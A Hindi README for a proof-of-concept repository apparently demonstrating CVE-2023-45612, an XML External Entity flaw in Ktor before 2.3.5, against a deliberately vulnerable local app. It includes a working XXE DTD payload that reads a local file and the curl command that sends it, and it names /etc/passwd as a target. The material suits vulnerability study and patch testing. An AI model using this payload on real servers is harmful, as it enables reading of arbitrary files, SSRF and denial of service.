
Ktor XXE इंजेक्शन प्रूफ-ऑफ-कॉन्सेप्ट (CVE-2023-45612)
प्रभाव: एक विशेष रूप से निर्मित XML DTD के माध्यम से XXE संदर्भ के साथ मनमानी फ़ाइलों तक पहुंच।
मूल कारण: असुरक्षित XML दस्तावेज़ पार्सर।
इस रिपॉजिटरी में एक भेद्य Ktor 2.3.4 ऐप है जिसे बाहरी एंटिटी की अनुमति देने के लिए कॉन्फ़िगर किया गया है ताकि XXE प्रभाव दिखाई दे।
XML External Entity इंजेक्शन (CVE-2023-45612) प्रूफ ऑफ कॉन्सेप्ट के लिए भेद्य Ktor (v2.3.4) एप्लिकेशन।
CVE-2023-45612, Ktor के ContentNegotiation में एक XXE (XML External Entity) बग है, जब XML को 2.3.5. से पहले के संस्करणों में सक्षम किया गया हो।
यह भेद्यता CWE-611: Improper Restriction of XML External Entity Reference से मेल खाती है।
XXE, OWASP Top 10 A05:2021-Security Misconfiguration जोखिम श्रेणी का हिस्सा है, लेकिन यह एक असुरक्षित डिज़ाइन समस्या भी है, क्योंकि इसका कारण एक गैर-प्रतिबंधात्मक XML पार्सर है।
Ulf Karlsson द्वारा रिपोर्ट किया गया — Jetbrains security notes देखें।
2.3.5 से पुराने Ktor संस्करण
समस्या को पुन: उत्पन्न करने के लिए मेरा सेटअप:
XML दस्तावेज़ों में वैकल्पिक रूप से एक Document Type Definition (DTD) होती है, जो अन्य सुविधाओं के अलावा, XML एंटिटीज़ को परिभाषित करने में सक्षम बनाती है। URI के रूप में एक प्रतिस्थापन स्ट्रिंग प्रदान करके किसी एंटिटी को परिभाषित करना संभव है। XML पार्सर इस URI की सामग्री तक पहुंच सकता है और आगे की प्रक्रिया के लिए इन सामग्रियों को वापस XML दस्तावेज़ में शामिल कर सकता है।
file:// URI के साथ एक बाहरी एंटिटी को परिभाषित करने वाली XML फ़ाइल सबमिट करके, एक हमलावर प्रोसेसिंग एप्लिकेशन को स्थानीय फ़ाइल की सामग्री पढ़ने के लिए प्रेरित कर सकता है।
उदाहरण के लिए, "file:///c:/winnt/win.ini" जैसा URI (Windows में) C:\Winnt\win.ini फ़ाइल को निर्दिष्ट करता है, या file:///etc/passwd Unix-आधारित सिस्टम में पासवर्ड फ़ाइल को निर्दिष्ट करता है।
(https://cwe.mitre.org/data/definitions/611.html)
http://localhost:8080/xml एंडपॉइंट पर एक POST अनुरोध किया जाता है।
अनुरोध एक xml फ़ाइल, exploit/payloads/xxe-demo-file.xml, भेजता है जिसमें एक <!DOCTYPE> तत्व होता है, जिसमें एक बाहरी एंटिटी संदर्भित होती है, इस मामले में exploit/etc/secret.txt।
यह संभावित रूप से सिस्टम पर कोई भी अन्य फ़ाइल हो सकती है जिस तक प्रोसेस की पहुंच हो।
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
XML पार्सर (DTD की अनुमति देने के लिए कॉन्फ़िगर किया गया) इस तत्व को रिज़ॉल्व करता है और संसाधन डेटा प्राप्त करता है।
बाहरी संदर्भ SSRF एंडपॉइंट का पथ भी हो सकता है, या सिस्टम के संसाधनों को घेरने के लिए एक बड़ी फ़ाइल की ओर इशारा कर सकता है (DOS)।
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
अपेक्षित परिणाम (भेद्य):
कंसोल आउटपुट:
Received: <external entity data>
अपेक्षित परिणाम (सुरक्षित):
400 Bad Request, या समान (XML पार्सर Document Type Definition को ब्लॉक करता है)
कमांड चलाएं:

cURL का उपयोग करके XXE पेलोड भेजें, और परिणाम इंजेक्ट की गई फ़ाइल की सामग्री प्रदर्शित करता हुआ:

गंभीरता उच्च/क्रिटिकल है। संभावित स्थानीय फ़ाइल पुनर्प्राप्ति, SSRF हमला, DoS हमला, या अन्य सिस्टम प्रभाव।
NVD बेस स्कोर: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)